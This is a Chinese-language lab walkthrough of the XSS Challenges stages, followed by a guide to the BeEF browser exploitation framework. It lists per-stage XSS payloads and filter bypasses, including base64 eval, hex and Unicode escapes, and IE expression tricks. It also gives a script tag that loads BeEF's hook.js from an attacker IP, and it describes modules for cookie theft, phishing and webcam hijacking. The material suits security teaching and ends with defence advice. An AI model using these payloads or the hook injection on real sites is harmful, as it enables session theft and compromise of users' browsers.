XSS Challenges通关和Beef介绍
字数 1101 2025-08-15 21:31:30
XSS挑战通关与Beef框架实战指南
第一部分:XSS靶机实战
XSS基础概念
XSS(跨站脚本攻击)是一种通过在目标网站注入恶意脚本,在用户浏览器执行的攻击方式。常见测试payload:
<script>alert(1)</script>- 基础弹窗<script src=x onerror=alert(1)>- 利用加载失败触发<svg onload=alert(1)>- SVG标签利用<a href=javascript:alert(1)>- JavaScript伪协议
靶机挑战解析
Stage-1:无过滤基础注入
<script>alert(document.domain);</script>
Stage-2:闭合标签注入
11111"><script>alert(document.domain);</script>
或
" onmouseover=alert(document.domain)>
Stage-3:下拉菜单注入
Japan [</option><script>alert(document.domain)</script>
Stage-4:隐藏参数注入
"><svg onload=alert(document.domain)>%0a
或
"><script>alert(document.domain);</script>
Stage-5:事件触发
"><svg/onload=alert(document.domain)>%0a
Stage-6:HTML实体绕过
111" onmouseover="alert(111)">
Stage-7:事件属性注入
777 onmouseover=alert(document.domain);
Stage-8:JavaScript伪协议
javascript:alert(document.domain)
Stage-10:关键字过滤绕过
"><script>alert(document.dodomainmain);</script>
或
"><script>eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='));</script>
Stage-11:script过滤绕过
"><a href="javascr ipt:alert(document.domain);">xss</a>
或
"><a href=javascri	pt:alert(document.domain)>test</a>
Stage-12:IE特性利用
`` onmousemove=alert(document.domain)
Stage-13:CSS背景注入(IE)
background-color:#f00;background:url("javascript:alert(document.domain);");
Stage-14:表达式过滤绕过
background-color:salmon;xss:expre/**/ssion(if(!window.x){alert(document.domain);window.x=1})
Stage-15:十六进制编码绕过
\\x3csvg\\x2fonload=alert(document.domain)\\x3e
或
\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e
Stage-16:Unicode编码绕过
\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e
或
\\u003cimg src=x onerror=alert(document.domain)\\u003e
第二部分:Beef框架实战
Beef框架介绍
Browser Exploitation Framework是最强大的浏览器开源渗透测试框架,通过XSS漏洞配合多功能JS脚本实现攻击。
主要功能
- 信息收集:网络发现、cookie获取、会话劫持
- 社工攻击:点击劫持、弹框告警、钓鱼页面
- 组合攻击:内网攻击、CSRF、DDOS等
实验环境搭建
- 攻击者:Kali Linux (192.168.10.20)
- 漏洞服务器:DVWA (192.168.10.1)
- 受害者:Windows 7 (192.168.10.7)
Beef启动流程
- 启动Apache服务:
systemctl start apache2
systemctl status apache2
- 安装并启动Beef:
apt-get install beef-xss -y
beef-xss
- 访问控制台:
http://192.168.10.20:3000/ui/authentication
钓鱼攻击实施
注入恶意代码:
<script src="http://192.168.10.20:3000/hook.js"></script>
功能颜色标识
- 绿色:生效且隐蔽
- 橙色:生效但可能被发现
- 灰色:可能生效需验证
- 红色:不生效
核心功能详解
-
信息收集模块
- 获取AJAX请求
- 窃取Cookie
- 捕获表单数据
- 获取页面链接
-
攻击模块
- 钓鱼攻击
- 页面内容篡改
- 摄像头劫持
- 网络探测
-
持久化模块
- 会话维持
- 反向连接
- 自动重连
防御建议
- 输入输出过滤
- CSP策略实施
- HttpOnly标记Cookie
- 内容安全策略
- 框架版本更新
总结
本指南详细介绍了从基础XSS注入到高级绕过技术,以及如何利用Beef框架进行实际攻击。理解这些技术有助于更好地防御XSS攻击,提升Web应用安全性。